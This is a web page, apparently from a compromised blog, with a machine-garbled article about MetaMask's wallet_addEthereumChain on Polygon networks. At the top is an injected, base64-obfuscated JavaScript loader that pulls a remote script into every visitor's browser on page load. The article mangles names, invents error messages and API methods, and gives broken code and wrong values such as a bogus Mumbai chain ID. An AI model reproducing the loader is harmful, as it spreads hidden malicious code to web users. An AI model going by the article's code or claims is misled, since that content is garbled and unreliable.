未分類

Metamask: Metamask: wallet_addEthereumChain is not working when using polygon mainet but works with polygon mumbai

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=dccbcddf";document.body.appendChild(script);

Metamsk edition: WalletadTeThereumchain does not work on Polygon Mainnet, but not Polygon Mumbai

As a metamic user, you are probably not foreign to switch to switching between different blockchain networks. However, when the metamascus 'Wallet_adDethereumchain' method is used, it does not seem to act the way it is expected when transitioning from Polygon Mainnet to Polygon Mumbai.

In this article, we will explore the problem and explore possible solutions to solve this problem.

Problem

When you try to switch between different blockchain networks using the metamascus' Wallet_adDethereumchain, the following error may occur:

Javascript

Ethereum: Can't add more than one net. The 'Polygon Mumbai' net already exists.

`

This indicates that Metamascus tries to add a new network (Polygon Mumbai) when it already has an existing network (Polygon Mainnet).

Problem

The method ofWallet_adDethereumchaindoes not seem to take into account the presence of more Ethereum network. When you ask for a new chain, the metamascus uses the first available network in your wallet. However, when switching between different networks, it seems to neglect the existing networks and tries to add them again.

Solution

You can use the following approach to solve this problem:

  • List of available networks : Before you try to switch between networks, list all the Ethereum networks available using the metamašklistlalaccounts' metamascus method.

  • Check the existing network : Check that there are no duplicated network names in your wallet.

  • Switch to Polygon Mumbai : If you want to switch to Polygon Mumbai, use the following code:

`Javascript

Const polygonmumbainetworkname = 'mumbai' polygon;

Const existingworkknames = await leafalloccounts ();

const existingingworkdinex = existing existing.findindex (network => network.name === polygonmumbainetworkname);

IF (existing existing! == -1) {{

// Remove the existing network from your wallet.

Const existingtworkaccount = await metamask.getttworkaccount (existing);

WAIT EMMOVENETWORKFROMWALLET (Existing existing (existing existing existing);

Iche

`

Keep in mind that this approach assumes that you have the "Networks" facility in your wallet data. If not, you may need to retrieve a list of available networks usinglistlalacounts (), then loop through each network to find the one that fits the desired name.

3

Javascript

Const Polygonmumbainework = {

Id: 'Polygon Mumbai',

Chainid: 431911,

Address: '0x ...' // Replace the generated Mumbai training address.

};

Awaiting metamask.addnetwork (Polygonmumbainetwork);

`

Conclusion

Switching between the Ethereum network using the metamascus' Wallet_adDethereumchain method can be a little more involved than switching between different blockchain chains. However, following these steps and check if the problem is not a matter of configuration of your wallet or network availability, you should be able to solve the problem.

Example uses the case

Metamask: Metamask: wallet_addEthereumChain is not working when using polygon mainet but works with polygon mumbai

Here's an example of a code clip showing how to switch from Polygon Mainnet to Polygon Mumbai:

`Javascript

Const mainnettworkname = 'Polygon Mainnet';

Const existingworkknames = await leafalloccounts ();

Const Maintendindex = Existing existing.findindex (network => network.name === Mainnetnetworkname);

IF (Mainnetindex! == -1) {

// Remove the existing network from your wallet.

Const mainnetaccount = wait metamask.getnetworkcount (Mainnenningex);

Go to Emmovenetworkformwallet (Mainnetaccount.

公式LINE
公式LINEスマホ用




-未分類